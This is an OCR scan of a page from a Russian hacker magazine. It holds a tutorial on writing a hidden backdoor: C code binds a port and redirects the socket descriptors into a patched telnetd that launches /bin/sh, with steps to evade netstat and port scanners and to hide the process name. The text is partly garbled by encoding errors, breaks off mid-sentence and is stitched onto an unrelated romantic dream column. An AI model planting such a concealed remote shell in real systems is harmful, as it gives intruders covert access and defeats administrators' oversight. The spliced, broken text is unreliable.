книги хакеры / журнал хакер / 062_Optimized

ДЕЙСТВУЕМ НЕЗАМЕТНО

Все просто. Если ты посмотришь весь код, то найдешь инициализацию сокета (serv_socket) и процедуру listen_sock. После открытия 4100 порта происходит переопределение дескрипторов (STDIN, STDOUT и STDERR) и передача управления стандартному telnetd.

ПЕРЕОПРЕДЕЛЕНИЕ ДЕСКРИПТОРОВ

int cli_sock=accept(serv_socket, &sa, &salen); /* принимаем подключение */

if(fork()==0){ /* создаем дубликат процесса */ dup2(cli_sock,0);

dup2(cli_sock,1); dup2(cli_sock,2);

/* перенаправляем stdin, stdout, stderr в сокет */ telnetd_main(argc,argv,env);

/* Вызываем главную процедуру telnetd */

}

else close(cli_sock);

/* Закрываем сокет (в теле родительского процесса)

}

Теперь следует задуматься о корректном завершении потомков, иначе таблица будет переполнена zombie-процессами. Для этого определим реакцию на сигнал SIG_CHLD, передающийся родителю и сигнализирующий о том, что его ребенок умер. В этом случае осуществляем переход на процедуру sig_child.

ЗАЩИТА ОТ ZOMBIE: ПРОЦЕДУРА SIG_CHILD

void sig_child(int i){ signal(SIGCHLD, sig_child);

/* восстановим обработчик сигнала */ waitpid(-1, NULL, WNOHANG);

/* отправляем зомби в могилу ;)*/

}

Перейдем к следующему шагу: модификации файла telnetd.c. Здесь все просто - необходимо лишь изменить название процедуры main() на telnetd_main(). Это надо сделать, чтобы при старте бинарника запускалась обработка нашей процедуры main() в main.c, а только затем telnetd_main() в telnetd.c.

Теперь поменяем файл sys_term.c. Его придется скорректировать, т.к. после передачи управления бинарнику /bin/login (которую осуществляет telnetd), ему будет передана туева куча параметров. В нашем слу- чае запустится обычный интерпретатор, поэтому поддержку параметров следует отключить. Для этого закомментируй две последние ссылки на функцию addarg(), встре- чающиеся в файле sys_term.c. Первую ссылку не трогай, т.к. в ней идет передача первого атрибута. Он является исполняемым файлом /bin/login (в нашем случае /bin/sh). После этого запуск интерпретатора будет осуществляться без параметров. Собственно, этого мы и хотели.

Посмотрим, что же у нас получилось: теперь бэкдор не светится в процессах, а активизируется посредством inetd, только когда по сети пройдет специальный пакет. Так что никакой портсканер и нетстат не смогут обнаружить этот бэкдор. К тому же мы избавились от

ненужных атрибутов, передаваемых /bin/login'у (запускаем не login, а sh-интерпретатор).

Остался небольшой момент - смена пути. Он прописан в файле pathnames.h. Я думаю, ты и сам разберешься, что и где там смодифицировать. Если не знаешь, то изучай сорцы.

ЗАМЕТАЕМ СЛЕДЫ

Несмотря на то, что бэкдор запускается че- рез inetd, он светится в процессах. В таблицу его имя записывается в виде: telnetd localhost.localdomain. Чтобы он там перестал отображаться, необходимо смодифицировать файл setproctitle.c, а точнее, сделать заглушкой одноименную процедуру. Для этого в начале процедуры напиши строку возврата. Таким образом, процесс будет аналогичен имени, под которым он был запущен.

РАЗБОР ПОЛЕТОВ

Теперь немного о корректной установке бэкдора. После компиляции переименуй бинар-

Модифицируем pathnames.h

КАК ХАКЕРЫ ПИШУТ СВОИ БЭКДОРЫ

ÝÐ Î Ò È × Å Ñ Ê È Å

ÔÀ Í Ò À Ç È È

ËÈÑÀ

Ïоследнее время мне снятся нежные и романтические сны. Наверное, èç-çà òîãî,

что недавно я рассталась со своим бойфрендом. Не люблю людей, которые не хотят тебя понимать, да еще и строят из себя невесть что. Во сне же все по-друго- му. Он нежный и заботливый, дарит мне цветы и провожает до дома, потому что ему это приятно, а не потому, что так принято. Мы сидим в уютном ресторан- чике и болтаем обо всем на свете. Он приглашает меня прыгнуть с парашютом, я жутко боюсь и отказываюсь, но он не обижается и не смеется надо мной. Он не ругается матом и не рассказывает о своих бывших подружках, а говорит мне комплименты и весело шутит. На нем белый свитер с дурацкой аппликацией. Он такой мужественный, но чуточку рассеянный. Мы выпиваем по бокалу вина, он берет меня за руку и сейчас скажет чтото очень важное. И тут я просыпаюсь! Не-

ееет! Ну почему все так несправедливо? На самом интересном месте! z